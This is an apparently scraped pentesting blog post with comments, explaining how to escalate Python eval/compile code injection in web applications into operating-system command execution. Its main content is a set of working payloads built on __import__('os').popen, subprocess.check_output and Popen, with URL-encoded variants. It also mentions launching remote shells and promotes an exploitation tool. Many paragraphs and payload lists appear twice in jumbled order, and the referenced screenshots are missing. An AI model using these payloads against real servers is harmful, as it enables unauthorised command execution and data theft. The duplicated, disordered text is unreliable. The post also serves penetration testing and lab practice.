Exploiting Python Code Injection in Web Applications
A web application vulnerable to Python code injection allows you to send Python code though the application to the Python interpreter on the target server. If you can execute python, you can likely call operating system commands. If you can run operating system commands, you can read/write files that you have access to, and potentially even launch a remote interactive shell (e.g., nc, Metasploit, Empire).
The thing is, when I needed to exploit this on an external penetration test recently, I had a hard time finding information online about how to move from proof of concept (POC) to useful web application exploitation. Together with my colleague Charlie Worrell (@decidedlygray), we were able to turn the Burp POC (sleep for 20 seconds) into a non interactive shell, which is what this post covers.
Python code injection is a subset of server-side code injection, as this vulnerability can occur in many other languages (e.g., Perl and Ruby). In fact, for those of you who are CWE fans like I am, these two CWEs are right on point:
CWE-94: Improper Control of Generation of Code ('Code Injection')
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
You can use the following payload to go from a time based POC to OS command injection:
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))
And as it turns out, you don't even need the for loop. You can use the global __import__ function:
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))
Better yet, now that we have import and popen as one expression, in most cases, you don't even need to use compile at all:
__import__('os').popen('COMMAND').read()
To pass these to the web application, you will have to URL encode some characters. The examples from above are each encoded below to illustrate what they might look like in action:
Here are the details showing the payload that Burp used to find this vulnerability:
The reason Burp flags the app as vulnerable, is that after it sent this payload, which told the interpreter to sleep for 20 seconds, the response took 20 seconds to come back. As with any time based vulnerability check, every once in a while there are false positives, usually because the app in general starts responding slowly.
The Burp Suite Pro payload uses a clever hack (using compile) that is required if you have multiple statements, as eval can only evaluate expressions. There is another way to accomplish this, using global functions (ex: __import__), which is explained here and here.
This payload should work in most cases:
# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commas
str("-"*50),__import__('os').popen('COMMAND').read()
If you need to execute a statement, or multiple statements, you will have to use eval/compile:
# Examples with one expression
In my testing, some things just did not work with the global __import__ trick above, like using subprocess.Popen. In that case, just stick with the for loop technique that the Burp team came up with:
If your vulnerable parameter is a GET parameter, you can exploit this easily with just your browser:
Note: The browsers do most of the required URL encoding for you, but you will have to manually encode semicolon (%3b) and spaces (%20) if they are used, or use the tool we developed which is covered below.
If you are working with a POST parameter (or a cookie value which was the case on my pentest), you'll probably want to use Burp Repeater or something similar. This next series of screenshots shows me using subprocess.check_output() to call pwd, ls -al, whoami, and ping, all in one expression:
So manually URL encoding characters gets old fast, so you will probably find yourself wanting to whip up a python script to send the requests from the command line like Charlie and I did. Or, if you'd like, you can use ours.
The thing is, when I needed to exploit this on an external penetration test recently, I had a hard time finding information online about how to move from proof of concept (POC) to useful web application exploitation. Together with my colleague Charlie Worrell (@decidedlygray), we were able to turn the Burp POC (sleep for 20 seconds) into a non interactive shell, which is what this post covers.
Python code injection is a subset of server-side code injection, as this vulnerability can occur in many other languages (e.g., Perl and Ruby). In fact, for those of you who are CWE fans like I am, these two CWEs are right on point:
CWE-94: Improper Control of Generation of Code ('Code Injection')
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
TL;DR
If you (or Burp or another tool) finds a python injection with a payload like this:
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))
And as it turns out, you don't even need the for loop. You can use the global __import__ function:
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))
Better yet, now that we have import and popen as one expression, in most cases, you don't even need to use compile at all:
__import__('os').popen('COMMAND').read()
To pass these to the web application, you will have to URL encode some characters. The examples from above are each encoded below to illustrate what they might look like in action:
- param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29
- param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29
- param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29
- param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29
Setting up a Vulnerable Server
I created an intentionally vulnerable application for the purpose of this post, so if you want to exploit this in your lab, you can grab it here. To get it to work, you have to install web.py via pip or easy_install, but that is it. It can run as a stand alone server, or it can be loaded up into Apache with mod_wsgi.
git clone https://github.com/sethsec/PyCodeInjection.git
cd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
git clone https://github.com/sethsec/PyCodeInjection.git
cd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
The Vulnerability
Although you would be hard pressed to find an article online that talks about python eval() without warning that it is unsafe, eval() is the most likely culprit here. When you have the following two conditions, the vulnerability exists:
- Application accepts user input (e.g., GET/POST param, cookie value)
- Application passes that user controlled input to eval in an unsafe way (without sanitization or other protection mechanisms).
Here is a simplified version of what the vulnerable code could look like:
That said, eval() is only one of the potential culprits here. A developer can also introduce this vulnerability by unpickling serialized data passed by the user.
Python's exec() is another way you can make your app vulnerable, but as far as I can tell, a developer would have to try even harder to find a reason to exec() web based user input. That said, I'm sure it happens.
Python's exec() is another way you can make your app vulnerable, but as far as I can tell, a developer would have to try even harder to find a reason to exec() web based user input. That said, I'm sure it happens.
Automated Discovery
Having a scanner find something I haven't seen before, and then doing the research to move from vanilla POC to something report worthy has been one of the pillars of my offensive security education (along with learning how to find things that scanners can not find). This vulnerability is no different. If you find this in the wild, you will most likely find it with an automated tool, like Burp Suite Pro. In fact, the check Burp uses is something they developed internally, so I'm not sure you would even find this vulnerability without Burp Suite Pro at this point.
Once you have the vulnerable demo app up and running, you should be able to find the vulnerability with a Burp Suite Pro scan:
Here are the details showing the payload that Burp used to find this vulnerability:
The reason Burp flags the app as vulnerable, is that after it sent this payload, which told the interpreter to sleep for 20 seconds, the response took 20 seconds to come back. As with any time based vulnerability check, every once in a while there are false positives, usually because the app in general starts responding slowly.
Moving from POC to Targeted Exploitation
While time.sleep is a nice way to confirm the vulnerability, we want to execute OS commands AND receive the output. To do that, we were successful with os.popen() or subprocess.Popen(), and subprocess.check_output(), and I'm sure there are others.The Burp Suite Pro payload uses a clever hack (using compile) that is required if you have multiple statements, as eval can only evaluate expressions. There is another way to accomplish this, using global functions (ex: __import__), which is explained here and here.
This payload should work in most cases:
# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commas
str("-"*50),__import__('os').popen('COMMAND').read()
# Examples with one expression
- eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))
- eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))
- eval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))
- eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))
In my testing, some things just did not work with the global __import__ trick above, like using subprocess.Popen. In that case, just stick with the for loop technique that the Burp team came up with:
- eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))
- eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))
- eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))
If your vulnerable parameter is a GET parameter, you can exploit this easily with just your browser:
Note: The browsers do most of the required URL encoding for you, but you will have to manually encode semicolon (%3b) and spaces (%20) if they are used, or use the tool we developed which is covered below.
If you are working with a POST parameter (or a cookie value which was the case on my pentest), you'll probably want to use Burp Repeater or something similar. This next series of screenshots shows me using subprocess.check_output() to call pwd, ls -al, whoami, and ping, all in one expression:
So manually URL encoding characters gets old fast, so you will probably find yourself wanting to whip up a python script to send the requests from the command line like Charlie and I did. Or, if you'd like, you can use ours.
Exploitation Demonstration with PyCodeInjectionShell
You can download PyCodeInjectionShell, and read up on how to use it here: https://github.com/sethsec/PyCodeInjection. PyCodeInjectionShell it is written to feel like sqlmap as much as possible. Our assumption is that anyone who needs to use this tool is probably very familiar with sqlmap.
Here is what it looks like in action, accepting a URL. Note the sqlmap style * designating the payload placement in the URL. This example also uses interactive mode, which lets you continuously enter new commands until you exit:
And here is the same functionality using a request file copy/pasted from burp repeater, with an implanted *, which tells the tool where to inject:
In either example, if you just want to enter one command and exit, just remove the -i.
Here is what it looks like in action, accepting a URL. Note the sqlmap style * designating the payload placement in the URL. This example also uses interactive mode, which lets you continuously enter new commands until you exit:
And here is the same functionality using a request file copy/pasted from burp repeater, with an implanted *, which tells the tool where to inject:
In either example, if you just want to enter one command and exit, just remove the -i.
Feedback, suggestions, questions and bug reports are welcome!
Comments
how we install the burp suite plugin for this?
thanks!
Charlie and I did talk about creating a specific Burp Extension for this, but never ended up getting to it. To find this with Burp, you will need Burp Suite Pro which gives you the scanner. If you already found the vulnerability, you can exploit it in Burp Suite Free, or you can use the tool from the last screenshots, which you can find here: https://github.com/sethsec/PyCodeInjection
web consultants in karimnagar
I tried the following and got error
root@kali:~/Downloads/PyCodeInjection-master/VulnApp# python PyCodeInjectionApp.py -u "http://IP/Content/ClientSettings.aspx?SVID=*" -c pwd -i
Error:
Traceback (most recent call last):
File "PyCodeInjectionApp.py", line 123, in
app.run()
File "/usr/local/lib/python2.7/dist-packages/web/application.py", line 313, in run
return wsgi.runwsgi(self.wsgifunc(*middleware))
File "/usr/local/lib/python2.7/dist-packages/web/wsgi.py", line 55, in runwsgi
server_addr = validip(listget(sys.argv, 1, ''))
File "/usr/local/lib/python2.7/dist-packages/web/net.py", line 120, in validip
raise ValueError, ':'.join(ip) + ' is not a valid IP address/port'
ValueError: -u is not a valid IP address/port
Traceback (most recent call last):
File "PyCodeInjectionApp.py", line 123, in
app.run()
File "/home/ubuntu/.local/lib/python2.7/site-packages/web/application.py", line 313, in run
return wsgi.runwsgi(self.wsgifunc(*middleware))
File "/home/ubuntu/.local/lib/python2.7/site-packages/web/wsgi.py", line 55, in runwsgi
server_addr = validip(listget(sys.argv, 1, ''))
File "/home/ubuntu/.local/lib/python2.7/site-packages/web/net.py", line 120, in validip
raise ValueError, ':'.join(ip) + ' is not a valid IP address/port'
ValueError: -u is not a valid IP address/port